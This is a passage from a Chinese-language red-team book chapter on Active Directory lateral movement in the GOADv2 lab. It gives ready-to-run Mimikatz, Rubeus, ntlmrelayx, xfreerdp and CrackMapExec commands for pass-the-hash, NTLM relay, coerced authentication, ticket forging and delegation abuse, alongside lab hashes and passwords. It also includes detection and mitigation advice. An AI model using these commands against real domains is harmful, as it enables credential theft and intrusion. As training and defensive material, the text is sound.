  1. 内部独白攻击 – 在不接触 LSASS 的情况下获取 NTLM 哈希值: github.com/eladshamir/Internal-Monologue

  2. 预先创建的计算机帐户研究: www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/

  3. 利用 GPP: adsecurity.org/?p=2288

  4. CrackMapExec: github.com/Porchetta-Industries/CrackMapExec

  5. Kerbrute: github.com/ropnop/kerbrute

  6. DomainPasswordSpray: github.com/dafthack/DomainPasswordSpray

  7. NTLM 中继: en.hackndo.com/ntlm-relay/

  8. Responder: github.com/lgandx/Responder

  9. 收集 NetNTLM: www.mdsec.co.uk/2021/02/farming-for-red-teams-harvesting-netntlm/

  10. 强制身份验证方法: github.com/p0dalirius/windows-coerced-authentication-methods

  11. SpoolSample: github.com/leechristensen/SpoolSample

  12. PetitPotam: github.com/topotam/PetitPotam

  13. WebClient 服务扫描器: github.com/Hackndo/WebclientServiceScanner

  14. 远程启用 WebClient 服务: dtm.uk/exploring-search-connectors-and-library-files-on-windows/

  15. ShadowCoerce: github.com/ShutdownRepo/ShadowCoerce

  16. DFSCoerce: github.com/Wh04m1001/DFSCoerce

  17. Kerberos: en.hackndo.com/kerberos/

  18. Kerberos 图解:learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13

  19. ASREQRoast: dumpco.re/blog/asreqroast

  20. Pcredz: github.com/lgandx/PCredz

  21. Hashcat: hashcat.net/hashcat/

  22. Rubeus: github.com/GhostPack/Rubeus

  23. Kerberoast 与 OpSec 结合使用:m365internals.com/2021/11/08/kerberoast-with-opsec/

  24. KerberOPSEC: github.com/Luct0r/KerberOPSEC

  25. LAPS 部署:theitbros.com/deploying-local-administrator-password-solution-laps-in-active-directory/

  26. LAPSToolkit: github.com/leoloobeek/LAPSToolkit

  27. Get-LAPSPasswords: github.com/kfosaaen/Get-LAPSPasswords

  28. DSInternals: github.com/MichaelGrafnetter/DSInternals

  29. GMSAPasswordReader: github.com/rvazarkar/GMSAPasswordReader

  30. gMSADumper: github.com/micahvandeusen/gMSADumper

  31. 导出域凭据:github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#dumping-ad-domain-credentials

  32. DCSYNCMonitor: github.com/shellster/DCSYNCMonitor

  33. 通过 ETW 检测 DCSync 攻击:www.netero1010-securitylab.com/detection/dcsync-detection

进一步阅读

以下资源将帮助你深入了解本章涵盖的攻击内容:

第五章:域内和跨森林的横向移动

在对手在环境中建立立足点和/或收集有效凭证之后,下一步通常是横向移动。横向移动是一组技术,允许攻击者深入目标环境,寻找高价值资产和敏感数据,包括新凭证。

我们将从一个场景开始,假设攻击者获得了明文密码(例如,成功的密码喷洒攻击),现在试图通过滥用管理协议来与常规环境流量混淆。接下来,我们将讨论如何转发哈希值以及使此操作成功的前提条件。为了执行横向移动,攻击者不仅需要 新技术局域网管理器NTLM)响应或明文密码;它可以是任何其他形式的凭证材料:NT 哈希、密钥或票证。由于 Kerberos 被微软推荐作为域中的主要安全认证协议,我们将详细介绍三种 Kerberos 委派类型。最后,我们将重点讨论仅在森林之间的横向移动,以及名为 SID 过滤的安全机制如何阻止它。

在本章中,我们将涵盖以下主要主题:

  • 滥用管理协议进行横向移动

  • 转发哈希

  • 通过任何方式

  • Kerberos 委派

  • 域和森林之间的移动

技术要求

本章内容,你将需要访问以下资源:

  • VMware Workstation 或 Oracle VirtualBox,至少 16 GB 内存,8 个 CPU 核心,以及 55 GB 总存储空间(如果你拍摄快照,需更多空间)

  • 强烈推荐使用基于 Linux 的操作系统

  • 安装了对应虚拟化平台插件和 Ansible 的 Vagrant

  • GOADv2 项目,所有机器均已启动并运行

在域中使用管理协议

在本节中,我们将讨论 IT 员工通常在域内用于日常支持活动的各种管理协议。我们将讨论 PowerShell 功能,例如 PSRemoting 和 Just Enough AdministrationJEA)。远程桌面协议RDP)也是管理中最常用的协议之一。我们还将简要介绍其他可以用于横向移动的协议,如 WMI、SMB、DCOM 和来自 Impacket 的 PSExec。

PSRemoting 和 JEA

PSRemoting 允许你连接到多台计算机并在其上执行命令。另一种选择是,你可以在目标机器上获得一对一的交互式 shell。为了简化理解,你可以将其视为 SSH,但它是在 Windows 上运行 PowerShell 命令的工具。简而言之,客户端尝试连接到运行在目标服务器上的一个小型 Web 服务器,称为 WinRM 监听器。HTTP 或 HTTPS 协议可以用于提供认证的传输。我们可以通过运行以下命令来列出可用的监听器:

winrm e winrm/config/listener

以下截图显示了 SRV02 上此命令的输出:

图 5.1 – SRV02 上的 WinRM 监听器

图 5.1 – SRV02 上的 WinRM 监听器

让我们使用以下命令登录到远程计算机:

Enter-PSSession -ComputerName castelblack

认证过程中的流量捕获将如以下截图所示:

图 5.2 – PSRemoting 登录流量捕获

图 5.2 – PSRemoting 登录流量捕获

如果我们使用的是 Linux 机器,可以尝试evil-winrm工具[1]来获取交互式 Shell。此外,PSRemoting 支持不同的身份验证协议。我们将仅关注 Kerberos 身份验证。为了能够登录到机器,用户应属于管理员远程管理用户组。此外,需要提到的是,通过填写 WinRM 配置中的受信任主机选项并应用 HTTPS 作为传输协议来配置受信任主机列表,将有助于提高环境的安全性。

在某些环境中,您可能会遇到即时管理JIT)和/或 JEA。JIT 是一种安全概念,其中管理员权限可以基于时间动态分配和撤销。JEA 是一种限制某些用户在机器上远程执行操作的概念。这里有一个在实验室环境中为培训目的设置 JEA 的良好示例[2]。我们不会详细讲解这个内容,但提到这些安全机制还是很重要的。像往常一样,任何安全边界都可以在配置不安全的情况下被绕过。

注意

可以在这里找到一个包含逃逸技巧的优秀演示:www.triplesec.info/slides/3c567aac7cf04f8646bf126423393434.pdf。一个名为 RACE[3]的强大工具包可以帮助通过 JEA 实现持久化,该工具包由Nikhil Mittal发布。

现在,让我们讨论第二种最常见的管理协议,即 RDP。

RDP

RDP 允许你连接到远程计算机,并提供与直接坐在计算机前的相同体验,包括图形用户界面(GUI)。如果你有被攻陷用户的明文凭证,可以使用 RDP 访问目标机器。BloodHound 工具在枚举期间会发现这些信息。为了识别此类用户,BloodHound 会收集计算机上远程桌面用户组的成员和在本地安全策略LSA)中拥有SeRemoteInteractiveLoginPrivilege权限的主体。如果有用户符合这两个条件,则会出现CanRDP边缘[4]。连接时,我们可以使用 Windows 自带客户端或来自 Kali Linux 的xfreerdp

如果我们只有 NT 哈希值,我们可以利用名为 受限管理员 模式的功能。在此模式下,凭据不会被发送到远程计算机,也不会存储在内存中,因为它将登录方式转换为 网络登录(类型 3),而不是 远程交互式登录(类型 10)。这看起来是一个不错的安全措施,但这也是我们可以将哈希传递到 RDP 的原因。主要的警告是,受损的用户必须属于 管理员 组,并且此模式需要启用。我们来快速演示这个模式的实际操作。要以 eddard.stark 用户身份登录到 winterfell,我们可以先通过 Mimikatz 进行 pass-the-hash,或者从 Linux 机器上使用 xfreerdp

xfreerdp /u:eddard.stark /d:north.sevenkingdoms.local /pth:D977B98C6C9282C5C478BE1D97B237B8 /v:192.168.56.11

运行此命令的结果如下图所示:

图 5.3 – 未启用受限管理员模式

图 5.3 – 未启用受限管理员模式

幸运的是,GitHub 上有一个名为 RestrictedAdmin 的工具[5]。但是,它并不符合操作安全(OpSec)的标准,因为它会更改可能被蓝队监控的注册表项;不同类型的登录也会出现在事件日志中。运行以下命令将启用远程机器上的此模式:

图 5.4 – 启用受限管理员模式

图 5.4 – 启用受限管理员模式

现在,我们可以使用 pass-the-hash 方式登录 RDP:

图 5.5 – 成功通过 RDP 登录到目标机器

图 5.5 – 成功通过 RDP 登录到目标机器

关于 RDP 还有两件值得分享的事:首先,感谢 SharpRDP 工具[6],我们可以在我们偏好的指挥控制软件中,通过 RDP 实现非图形化的经过认证的远程命令执行。

其次,我们可以通过多种方式从端点转储 RDP 凭据,例如从进程内存中转储,使用 SharpRDPThief[7],或使用 Mimikatz 从 Windows 凭据管理器中获取。

一个可能的缓解建议是使用 Windows Defender 远程凭据保护 来保护远程桌面凭据。它仅允许使用 Kerberos 进行认证,并防止在断开连接后发生 pass-the-hash 和凭据重用。多因素认证MFA)是另一个值得考虑的好选项。

接下来,我们将讨论如何使用 Impacket 进行横向移动。虽然这些协议也可以通过 Windows 工具滥用,但引入 Impacket 对于知识的扩展和后续章节的内容是很重要的。

使用 Impacket 的其他协议

Impacket[8] 是一组为处理各种网络协议而创建的 Python 类。在 example 文件夹中,有许多有用的 Python 脚本,允许你进行多种横向移动方法,处理 Kerberos,访问 Windows 密码,执行转发攻击等。这个工具包是 Rubeus 等工具的一个很好的替代方案,因为后者在 Linux 上不可用。我们可以在 Impacket 中选择以下横向移动选项:

  • PSExec 是一个非常引人注意的工具,能够迅速吸引防御者的注意,因为它会上传可执行文件并创建服务。

  • SmbExec 在每次请求时创建服务,但不会上传任何文件。

  • AtExec 会以 SYSTEM 权限在 C:\Windows\System32\Tasks\ 创建一个带有随机名称的计划任务,并将输出保存在 C:\Windows\Temp\ 目录中的文件中。

  • DCOMExec 需要创建文件。

  • WMIExec 需要创建和删除文件。

这些技术中的大部分可以通过增强的监控手段被捕捉到,比如使用 Sysmon 以及关联 Windows 事件日志。

另外,一个好的防御策略是部署 攻击面缩减(ASR) 规则。ASR 防止端点上的典型恶意行为,例如从不同应用程序创建进程,防止执行基于来源和各种条件的文件,加载有漏洞的签名驱动程序等等。

在接下来的部分,我们将讨论 NTLM 响应转发攻击以及不同类型的哈希。

哈希转发

在上一章中,我们讨论了通过强制身份验证或使用中间人攻击来捕获 NTLM 响应的不同方法。现在,我们要解答为什么要捕获响应。在实际操作之前,需要先解释一些理论概念和注意事项。

首先,NTLM 协议有两个版本(v1 和 v2)。接下来,NTLM 身份验证消息可以跨协议转发,因为它们与协议无关。理解捕获 NTLM 身份验证时使用了什么协议以及我们计划通过什么协议进行转发是非常重要的。以下的思维导图是 nwodtuhs 创建的,是我们讨论的一个很好参考。

图 5.6 – NTLM 转发

图 5.6 – NTLM 转发

让我们更多地关注一个重要的话题,那就是签名,特别是针对 SMB 和 LDAP。签名配置及其存在由客户端和服务器端的设置控制。对于 SMB,这将取决于协议版本以及服务器是否为域控制器。关键点是,SMB v2 的签名必须由服务器和/或客户端要求。LDAP 行为有所不同,如果双方都能做到,数据包将会被签名,但并非强制要求。

注意

LDAP 和 SMB 签名配置与协商的显著例子可以在这里找到:en.hackndo.com/ntlm-relay/

但是会话签名是在 NTLM 身份验证期间协商的,也许我们可以尝试取消它?在这里,我们将进一步了解消息完整性码MIC),它仅在 NTLM v2 中可用。MIC是一个签名,来自通过HMAC_MD5函数计算的几个参数。最重要的参数是会话密钥,它依赖于客户端的密钥,以及一个值,表示是否协商了签名。如果我们不知道客户端的密钥,则无法更改MIC。然而,来自一家名为Preempt的公司的研究人员发现了两个漏洞,分别被方便地命名为Drop the MICCVE-2019-1040)和Drop the MIC 2CVE-2019-1166),允许简单地移除MIC

另一个漏洞,CVE-2019-1019,是CVE-2015-005的继任者,允许通过在建立NETLOGON通道时缺少计算机名来获取任何认证尝试的会话密钥。详细的攻击演示可以在这里找到[9]。

最后我们要讨论的是身份验证扩展保护EPA)。它是针对跨协议中继攻击引入的,目的是将身份验证层与协议绑定。如果要求绑定 TLS 通道(LDAPS 或 HTTPS),则服务器证书哈希(称为通道绑定令牌)将作为 NTLM 响应的一部分使用,这意味着没有知道客户端密钥的情况下无法伪造。对于非 TLS 协议,如 CIFS 或 HTTP,该字段称为服务绑定信息。这个想法与 TLS 绑定非常相似,但不是使用证书的哈希目标,而是会检查 NTLM 响应中的服务主体名称SPN)。在两种情况下,如果不匹配,将导致“访问被拒绝”错误。

这是一大堆理论!让我们转到一些实践操作,看看它的好处。

如果某些事情没有按预期进行,下面的实验室创建者会帮你解决:mayfly277.github.io/posts/GOADv2-pwning-part4/

首先,我们列出不需要 SMB 签名的机器。我们可以使用CrackMapExec来完成:

crackmapexec smb 192.168.56.10-23 --gen-relay-list smb_relay.txt

以下是机器列表:

图 5.7 – 禁用 SMB 签名的机器

图 5.7 – 禁用 SMB 签名的机器

在上一章中,我们捕获了eddard.stark的 NTLM 响应,因为计划任务在 DNS 名称中有一个拼写错误。现在,让我们利用这个进行中继攻击。我们通过编辑/etc/responder/Responder.conf并运行ntlmrelayx来禁用 Responder 中的 SMB 和 HTTP 服务器,从而以eddard.stark用户的身份在 castelblack 上转储 SAM 数据库,因为该用户在 castelblack 上具有管理员权限:

impacket-ntlmrelayx -tf smb_relay.txt -smb2support

以下截图显示了转储安全帐户管理器SAM)数据库的结果:

图 5.8 – 中继 NTLM v2 响应并转储 SAM 数据库

图 5.8 – 中继 NTLM v2 响应并转储 SAM 数据库

需要提到的是,自 MS08-68 以来,无法将哈希值中继到自身。ntlmrelayx 还有一个选项 (--socks),可以使用 SMB 连接作为 SOCKS 代理,避免嘈杂的登录并且不需要在主机上获得管理员权限。然后,我们可以使用代理链来运行我们想要的工具。

下一步,我们将使用中继进行 LDAP 枚举。由于域控制器要求签名,因此我们无法中继通过 SMB 获取的哈希值,因此如果已安装 WebDAV 服务(如 Jean_Maes_1994 在这里所示:www.trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022/)或者尝试 mitm6,我们可以使用 WebDAV 服务。实验室创建者演示了如何使用 mitm6 工具包,因此我们将展示 WebDAV 场景,并在实验室中对 castelblack 进行必要的更改。

在我们开始之前,您可以在这里阅读更多信息:www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient

作为在 castelblack 上的第一个准备步骤,我们需要通过 PowerShell 以 管理员 身份安装一个名为 WebDAV Redirector 的功能:

Install-WindowsFeature WebDAV-Redirector –Restart

在以下截图中,我们可以看到该功能已成功安装,且服务已停止:

图 5.9 – WebClient 服务已成功安装

图 5.9 – WebClient 服务已成功安装

现在让我们通过将 .searchConnector-ms 文件放置在公共共享上,强制启动 WebClient 服务,正如 MDSec 研究人员所描述的那样,内容如下:

<?xml version="1.0" encoding="UTF-8"?> <searchConnectorDescription > <iconReference>imageres.dll,-1002</iconReference> <description>Microsoft Outlook</description> <isSearchOnlyItem>false</isSearchOnlyItem> <includeInStartMenuScope>true</includeInStartMenuScope> <iconReference>https://192.168.56.22/public/0001.ico</iconReference> <templateInfo> <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType> </templateInfo> <simpleLocation> <url>https://example.com/</url> </simpleLocation> </searchConnectorDescription>

然后我们可以验证服务是否成功启动。如果我们不知道网络中有任何运行 WebClient 服务的服务器,我们可以使用 CrackMapExec 模块 WebDAV 扫描 IP 范围:

crackmapexec smb 192.168.56.0/24 -u arya.stark -p Needle -d north -M webdav

我们的侦查活动结果显示在以下截图中:

图 5.10 – WebClient 服务侦查

图 5.10 – WebClient 服务侦查

下一步是使用强制方法触发通过 HTTP 向我们的 Kali 机器进行认证,然后将其中继到 LDAP。我们将需要一个禁用 HTTP 服务器的 Responder 和 ntlmrelayx

python3 dementor.py -u arya.stark -d north.sevenkingdoms.local -p Needle 192.168.56.100 192.168.56.22

在本次练习中,我选择了 PrinterBug 作为强制方法,并通过名为 dementor[10] 的工具在 Linux 上实现。以下截图显示了转储域信息的结果:

图 5.11 – 域枚举 LDAP

图 5.11 – 域枚举 LDAP

作为最后一个示例,我想展示 CVE-2019-1040 的实际操作。Mayfly 在实验室中引入了一个易受攻击的服务器。为了找到易受攻击的主机,我们可以使用由 _dirkjan[11] 创建的扫描器。以下命令将检查目标是否存在漏洞:

python3 scan.py essos/khal.drogo:horse@192.168.56.23

如果我们尝试在已修补的系统中将 SMB 转发到 LDAP,将导致 ntlmrelayx 出现以下错误:

图 5.12 – SMB 到 LDAP 转发失败

图 5.12 – SMB 到 LDAP 转发失败

但是,如果存在Drop the MIC漏洞,我们可以添加**–remove-mic**标志,从而成功转发,如下图所示:

图 5.13 – Drop the MIC 允许转发

图 5.13 – Drop the MIC 允许转发

注意

要获取更多有关如何防止某些类型转发的信息,我们可以参考 Nettitude 博客文章(labs.nettitude.com/blog/network-relaying-abuse-windows-domain/)作为良好的起点。

阻止转发攻击向量需要检查和测试大量服务,因此可以对 SMB、LDAP、LDAPS 和 HTTPS 强制实施签名。精细调整 IPv6,并禁用广播协议和未使用的服务作为域加固练习。尽量只在域内使用 Kerberos 进行认证,但如果无法实现,则只使用 NTLM v2。必须完全禁用 NTLM v1!

在下一节中,我们将讨论攻击者能够攻陷机器并提取凭证(如 NT 哈希、AES 密钥或票证)后,如何执行横向移动。

通行证—任意传递

本节内容是关于冒充(身份伪装)的。假设攻击者入侵了一台机器,并通过多种可用方式之一,从 LSASS 进程中获取了哈希凭证。通常,下一步是通过启动新的登录会话并尝试访问其他公司资源来执行横向移动。我们将讨论执行此类活动的最常见方法,以及与操作安全相关的注意事项。通行证传递证书将在与Active Directory 证书服务相关的第八章中进行讲解。

通行证—任意传递

我们将从经典的通行证—任意传递开始。该认证方法本身相当简单,完全依赖于 NTLM 协议,完全不涉及 Kerberos。此技术可用于本地和域账户。要执行通行证—任意传递攻击,攻击者需要在目标机器上拥有管理员权限。

注意

hackndo在其博客文章中详细描述了发生的过程,可以参考:en.hackndo.com/pass-the-hash/

该技术可以借助 Mimikatz 在提升的权限上下文中执行。在我们的示例中,攻击者能够攻陷一个本地管理员vagrant用户,并为该用户提取具有域管理员权限的 NT 哈希。在我们的案例中,是robert.baratheon,属于sevenkingdoms域。我们可以通过运行以下命令来执行通行证—任意传递:

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:robert.baratheon /ntlm:9029CF007326107EB1C519C84EA60DBE /domain:sevenkingdoms.local /run:powershell.exe"'

执行情况如下截图所示:

图 5.14 – 使用 Mimikatz 的 Pass-the-Hash 攻击

图 5.14 – 使用 Mimikatz 的 Pass-the-Hash 攻击

结果是,我们将打开一个新的 PowerShell 窗口。不要误解,我们在新的 PowerShell 会话中显示为 vagrant 用户。实际上,我们已经冒充了 robert.baratheon 用户。以下截图证明了这一点,在 PSRemoting 会话中可以看到这一点。

图 5.15 – 用于访问域控制器的 Pass-the-Hash 攻击

图 5.15 – 用于访问域控制器的 Pass-the-Hash 攻击

此外,还有一个名为 用户帐户控制UAC)的警告,它可以限制我们成功横向移动后,对新受损机器的远程管理操作。它将依赖于两个注册表值,LocalAccountTokenFilterPolicyFilterAdministratorToken,它们位于 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System。默认情况下,只有内置管理员(其 相对标识符RID)为 500)和具有本地管理员权限的域帐户才能在未激活 UAC 的情况下执行远程管理任务。

现在,我们可以讨论如何检测此技术。检测 Pass-the-Hash 最好的方法是查看源主机上的 46244672 事件。事件 4624 的登录类型为 9,登录过程为 seclogo,如以下截图所示:

图 5.16 – 执行 Pass-the-Hash 攻击的主机上的事件 4624

图 5.16 – 执行 Pass-the-Hash 攻击的主机上的事件 4624

事件 ID 4672 标识当前登录帐户的特权登录,而不是新帐户,如下截图所示:

图 5.17 – 执行 Pass-the-Hash 攻击的主机上的事件 4672

图 5.17 – 执行 Pass-the-Hash 攻击的主机上的事件 4672

域控制器将不会有对应的事件 ID 47684769。此外,我们不应忘记,通过使用 Sysmon,我们可以可靠地检测对 LSASS 进程的访问,这通常是在使用 Mimikatz 执行 Pass-the-Hash 攻击时发生的。通过结合这两个事件,我们可以可靠地检测到 Pass-the-Hash 攻击。

注意

微软的 Defender for Identity 表示,它可以通过分析用户常用的计算机中是否使用了 NT 哈希值来检测 Pass-the-Hash 攻击 (learn.microsoft.com/en-us/defender-for-identity/lateral-movement-alerts)。

Pass-the-key 和 Overpass-the-hash

Pass-the-key 和 overpass-the-hash 是针对 Kerberos 认证的攻击。其计划是通过提供用户密码派生出的用户秘密密钥(DESRC4AES128AES256)来获取有效的 Kerberos TGT。如果启用 RC4,意味着用户的 NT 哈希是一个密钥,这就是 overpass-the-hash。如果禁用 RC4,可以传递其他 Kerberos 密钥,这称为 pass-the-key。现在,默认情况下,Windows 使用 AES256 密钥,其加密类型值为 0x12。请求降级的 RC4 加密类型将具有加密类型值 0x17。此值可以在域控制器的事件 4768 中找到。作为攻击者,使用 Rubeus,普通用户可以通过运行以下命令请求 Kerberos TGT:

Rubeus.exe asktgt /domain:sevenkingdoms.local /user:robert.baratheon /rc4:9029CF007326107EB1C519C84EA60DBE /ptt

结果,一个票证将被注入到内存中,并且将获得对 c$ 域控制器的访问权限,如下图所示:

图 5.18 – 因为 overpass-the-hash 注入的票证

图 5.18 – 因为 overpass-the-hash 注入的票证

以下是请求 RC4 降级的事件 4768

图 5.19 – 事件 4768 中的降级加密类型

图 5.19 – 事件 4768 中的降级加密类型

如果使用 Mimikatz,LSASS 访问规则可以检测到这两种技术,并且会出现登录用户与其 Kerberos 票证之间的不匹配。在现代 Windows 环境中,降级的加密类型会变得非常明显,并且会被调查。Rubeus 具有 /opsec 标志,它会发送一个初始的 AS-REQ 请求,而无需预身份验证,从而模拟真实的请求。这个选项旨在使流量更加隐蔽,这也是为什么只允许使用 AES256 加密类型的原因。通过使用 Mimikatz 可以提取此密钥:

mimikatz.exe "privilege::debug" "sekurlsa::ekeys"

让我们再创建一个票证,并将生成的事件与之前的事件进行比较:

Rubeus.exe asktgt /user:robert.baratheon /aes256:6b5468ea3a7f5cac5 e2f580ba6ab975ce452833e9215fa002ea8405f88e5294d /opsec /ptt

以下是 Windows 事件的截图:

图 5.20 – Rubeus 在事件 4768 中使用 /opsec 选项

图 5.20 – Rubeus 在事件 4768 中使用 /opsec 选项

我们可以看到,票证选项(感谢 /opsec 选项)和 票证加密类型 已经发生了变化。如果我们想完全模拟真实的 Kerberos 认证,还需要考虑 提供的领域名称,对于真实的请求,这将是 SEVENKINGDOMS(此时 /domain 选项会派上用场):

图 5.21 – 真实 TGT 请求的提供领域名称

图 5.21 – 真实 TGT 请求的提供领域名称

最具挑战性的问题是,Rubeus 会生成 Kerberos 流量,这意味着它可能会被各种防御工具检测到。这是需要考虑的事项。

Pass-the-ticket

最后,我们可能会遇到获取票证注入或能够伪造票证的情况。我们将在第七章中讨论四种伪造票证的类型,并展示如何伪造、使用和检测这些票证。

此外,票证可以从内存中提取,或者以 Linux(.ccache)或 Windows(.kirbi)格式存储在文件系统中。在 Windows 中,注入后的票证(Rubeus 中的 /ptt 选项)可以原生使用,正如我们在前面的示例中看到的那样。现在我们来使用相同的票证,但在 Kali 机器上。首先,我们需要使用 Impacket 中的 ticketConverter 将其从 kirbi 格式转换为 ccache 格式,然后导出票证。相关命令显示在以下截图中:

图 5.22 – 来自 Rubeus 的票证转换

图 5.22 – 来自 Rubeus 的票证转换

然后,我们可以使用以下命令通过传票进行远程访问(只需在 Kali 机器上添加 /etc/hosts 记录即可):

impacket-wmiexec -k -no-pass sevenkingdoms.local/robert.baratheon@kingslanding.sevenkingdoms.local

代码执行显示在以下截图中:

图 5.23 – 用于命令执行的传票攻击

图 5.23 – 用于命令执行的传票攻击

注意

此攻击的检测指南可以在这里找到:www.netwrix.com/pass_the_ticket.xhtml。通常,这一策略与 pass-the-key 攻击相同。已发布一个概念验证代码,用于检查登录用户与颁发的 Kerberos 票证之间的不匹配[12]。

在接下来的部分中,我们将讨论三种类型的 Kerberos 委派,以及如何将它们滥用进行横向移动。这种攻击类型也可以被视为权限提升攻击

Kerberos 委派

首先,我们需要讨论什么是委派以及为什么它存在。Active Directory 中的服务有时需要代表域用户被其他服务访问。可以想象一个 Web 服务器代表用户在后台进行数据库认证。Active DirectoryAD)中有三种委派类型——不受限委派受限委派基于资源的委派。关于委派的信息可以通过使用 BloodHound、PowerView 或 AD 模块找到。我们将在接下来的章节中介绍各种委派类型。

注意

对于我们的实验,Mayfly 一如既往地准备了一个很棒的操作指南:mayfly277.github.io/posts/GOADv2-pwning-part10/

不受限委派

我们将从最古老的委派类型开始。启用不受限委派的计算机或用户可以将任何身份验证用户或计算机伪装为任何主机上的任何服务。如果我们攻陷了启用了不受限委派的用户或机器,那么我们可以等待或强制对其进行身份验证,从内存中的 ST 缓存中提取目标用户/计算机的 TGT,然后将其重复使用以跨域或甚至森林访问。默认情况下,域控制器启用不受限委派。

注意

我建议查看www.thehacker.recipes/ad/movement/kerberos/delegations/unconstrained,以了解如何从攻击者的 Linux 机器上滥用不受限委派。

我们将启用 Castelrock 上的不受限委派,如下图所示:

图 5.24 – 启用不受限委派的 Castelrock

图 5.24 – 启用不受限委派的 Castelrock

要查找启用了不受限委派的计算机,我们可以使用 PowerView:

Get-DomainComputer -Unconstrained | select dnshostname, useraccountcontrol

输出显示了域控制器(kingslanding)和castelrock服务器,其中useraccountcontrol属性中带有TRUSTED_FOR_DELEGATION标志:

图 5.25 – 启用不受限委派的计算机

图 5.25 – 启用不受限委派的计算机

注意

此外,我们可以使用 LDAP 过滤器 (userAccountControl:1.2.**
840.113556.1.4.803:=524288**) 与 AD PowerShell 模块一起使用。

下一步,我们假设我们已经成功攻陷了castelrock服务器,因此可以滥用不受限委派。在提升的权限下,我们将启动 Rubeus 监控模式:

Rubeus.exe monitor /interval:3 /nowrap

从标准用户上下文,我们通过使用 PrinterBug 强制从域控制器进行身份验证:

图 5.26 – 强制域控制器进行身份验证

图 5.26 – 强制域控制器进行身份验证

结果,我们捕获了域控制器的 TGT:

图 5.27 – 域控制器的 TGT

图 5.27 – 域控制器的 TGT

现在,我们将使用 Rubeus 在内存中注入此票证,并使用 Mimikatz 转储域管理员的 NT 哈希:

Rubeus.exe ptt /ticket:"base64_ticket_from_capture"
Mimikatz.exe "lsadump::dcsync /user:robert.baratheon"

上一个命令的结果可以在以下截图中看到:

图 5.28 – 域管理员用户的 NT 哈希

图 5.28 – 域管理员用户的 NT 哈希

注意

一个关于如何使用krbrelayx滥用不受限委派的很好的示例可以在这篇博客文章中看到:pentestlab.blog/2022/03/21/unconstrained-delegation/

为了防止滥用,请检查是否仅在域控制器上启用了不受限制的委派。如果其他地方确实需要不受限制的委派,请确保所有特权帐户具有敏感且无法委派标志,或者是受保护用户组的成员,因为这些帐户的 TGT 将在服务票证中无法委派。

基于资源的受限委派

在 Windows 2012 中,引入了一种新的委派类型,称为基于资源的受限委派RBCD)。其思想是,委派由目标服务管理员在目标上配置,而不是在源上配置。这写入了msDS-AllowedToActOnBehalfOfOtherIdentity属性。滥用 RBCD 的最常见方法是创建计算机帐户,编辑目标委派属性,并获取票证。

首先,我们将从枚举开始。我们需要找出机器帐户配额值(默认情况下,每个域用户可以创建 10 个帐户),并检查 RBCD 是否已经实现,以及域中是否有任何计算机上存在GenericAllGenericWrite** 访问控制列表**(ACLs)。

机器配额可以通过FuzzySec编写的StandIn工具[13]找到:

StandIn.exe --object ms-DS-MachineAccountQuota=*

我们可以看到该域使用的是默认值:

图 5.29 – 默认机器帐户配额值

图 5.29 – 默认机器帐户配额值

你还可以使用 PowerView 枚举机器帐户配额:

Get-DomainObject -Identity "dc=sevenkingdoms,dc=local" -Domain sevenkingdoms.local

下一步是枚举域中的 ACL。我们可以使用 PowerView 的Invoke-ACLScanner或类似工具来完成。以下截图显示了有趣的输出:

图 5.30 – 用户在域控制器上具有 GenericAll 权限

图 5.30 – 用户在域控制器上具有 GenericAll 权限

现在,我们可以通过使用 PowerMad[14]、Impacket 中的addcomputer,或在我们这个案例中使用StandIn来创建计算机帐户:

StandIn.exe --computer MyDesktop --make

结果如以下截图所示:

图 5.31 – 创建了一个新的计算机帐户

图 5.31 – 创建了一个新的计算机帐户

如果我们妥协了stannis.baratheon用户,该用户可以更改kingslanding上的属性,那么通过向域中添加计算机帐户,我们可以使用 PowerShell AD 模块、PowerView 或 StandIn 将msDS-AllowedToActOnBehalfOfOtherIdentity属性设置为新创建的计算机帐户:

Get-DomainComputer "MyDesktop" -Properties objectsid
StandIn.exe --computer "kingslanding" --sid "S-1-5-21-4243769114-3325725031-2403382846-1122"

之前命令的结果如下图所示:

图 5.32 – 创建了一个新的计算机帐户

图 5.32 – 创建了一个新的计算机帐户

现在,我们可以获取一个票证:

Rubeus.exe hash /password:cQkFGq47oafTact /user:MyDesktop$ /domain:sevenkingdoms.local
Rubeus.exe s4u /user:MyDesktop$ /aes256:10AB7F32 B28F27AA7903D168C32C12A469EC7174783D6B5F52E8C10831FBE605 /msdsspn:http/kingslanding /impersonateuser:administrator /ptt

结果可以在以下截图中看到:

图 5.33 – 成功的 RBCD 攻击

图 5.33 – 成功的 RBCD 攻击

此外,我们还可以通过使用Nikhil Mittal编写的 RACE 工具包,通过修改计算机对象的权限来实现持久化。

为了防止 RBCD 滥用,我们可以定期审查域中的 ACL,减少机器账户配额至0ms-DS-MachineAccountQuota),并确保只有特权用户能够将机器添加到域中。此外,应用敏感且不可委托账户属性和受保护用户组来保护高特权账户。需要特别说明的是,仅将机器账户配额设置为0并不能防止此类攻击[15]。

受限委托

无约束委托与受限委托的主要区别在于,一个账户仅能针对特定服务模拟用户。它可以配置为(使用任何认证协议)或不使用(仅使用 Kerberos)协议转换,如以下委托属性所示:

图 5.34 – 受限委托配置

图 5.34 – 受限委托配置

在这种情况下,委托使用了两个 Kerberos 扩展,分别是为用户自服务S4U2Self)和为用户代理服务S4U2Proxy)。

注意

关于 Kerberos 扩展及其工作原理的详细信息可以在此处找到:www.netspi.com/blog/techni…

简而言之,S4U2Proxy 协议允许一个服务代表用户在没有协议转换的受限委托情况下为另一个服务获取服务票证。在协议转换的情况下使用 S42Self 协议,允许服务在没有使用 Kerberos 认证(例如,NTLM v2)的情况下,代表用户为自身获取服务票证。然后,可以像往常一样使用 S4U2Proxy 协议。

受限委托可以为用户和计算机账户配置。使用 PowerView 进行枚举可以通过以下命令:

Get-DomainUser -TrustedToAuth | select samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select dnshostname, msds-allowedtodelegateto

枚举结果如以下截图所示:

图 5.35 – 枚举启用了受限委托的用户和计算机

